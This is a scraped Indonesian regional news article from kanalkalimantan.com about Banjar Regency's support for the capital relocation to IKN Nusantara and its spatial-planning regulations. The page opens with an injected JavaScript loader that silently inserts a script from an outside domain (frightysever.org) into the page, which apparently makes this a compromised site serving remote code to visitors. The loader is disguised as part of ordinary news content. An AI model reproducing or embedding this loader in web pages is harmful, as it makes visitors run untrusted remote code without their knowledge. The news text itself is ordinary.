(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, JAKARTA – Kabupaten Banjar sebagai bagian dari Kalimantan Selatan mendukung penuh segala upaya yang akan dilakukan dalam menyambut pemindahan IKN di Kalimantan Timur.
Diketahui, agenda pemindahan Ibu Kota Negara dari DKI Jakarta menuju IKN Nusantara di Provinsi Kalimantan Timur (Kaltim) menjadikannya momentum yang tepat bagi Kalimantan Selatan (Kalsel) untuk berbenah dan menata pembangunan wilayah untuk menyongsong Kalsel sebagai salah satu kawasan penyangga IKN Nusantara.
Dukungan tersebut disampaikan Bupati Banjar H Saidi Mansyur saat mengikuti Rakor Lintas Sektor Dalam Rangka Pembahasan Rancangan Peraturan Daerah Tentang Rencana Tata Ruang Wilayah (RTRW) Provinsi Kalsel, Kementerian Agraria dan Tata Ruang/Badan Pertanahan Nasional, di Sheraton Grand Jakarta Gandaria City, Jakarta, Jumat (12/05/2023) pagi.
Saidi Mansyur menegaskan, Pemkab Banjar mendukung penuh IKN Nusantara di Kaltim dan telah disinergikan juga dukugan melalui kerjasama Banjar Bakula.
Baca juga: Rawat Kulit Kamu dengan Produk Skincare yang Tepat
“Penyusunan RTRW dan RDTR di wilayah Kabupaten Banjar tidak lain bermaksud untuk dapat mewujudkan tata ruang yang harmonis dalam aspek ekonomi, sosial dan lingkungan.
Selain itu, penataan ruang yang dilakukan juga sebagai upaya bagi Kabupaten Banjar dalam menyiapkan diri untuk peran yang lebih besar yaitu sebagai salah satu lumbung pangan bagi IKN Nusantara,” jelas Saidi.
Dalam kegiatan tersebut bupati didampingi Kepala DKISP HM Aidil Basith dan Kepala DPUPRP Anna Rosida Santi.
Ana Rosida Santi mengatakan, sebagai salah satu lumbung padi di Kalsel, Kabupaten Banjar dirasa perlu untuk menjaga dan meningkatkan produksi padinya.
“Yaitu dengan cara menetapkan lahan-lahan pertanian yang tidak dialihfungsikan melalui penyusunan rencana tata ruang yang kemudian disahkan menjadi Peraturan Daerah Nomor 4 Tahun 2021 tentang RTRW Kabupaten Banjar Tahun 2021-2041 serta Peraturan Bupati Banjar Nomor 9 Tahun 2023 tentang RDTR Wilayah Perkotaan Gambut-Kertak Hanyar,” jelas Anna. (kanalkalimantan.com/diskominfobanjar/kk)
Reporter: kk
Editor: Dhani
Penerbangan Kloter 1 Sempat Terlambat 30 Menit Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kejuaraan catur piala Pj Bupati Kapuas se Kalimantan Tengah dibuka oleh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jemaah haji Kloter pertama diberangkatkan dari Asrama Haji Embarkasi Banjarmasin di Banjarbaru,… Read More
KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More
KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More
This website uses cookies.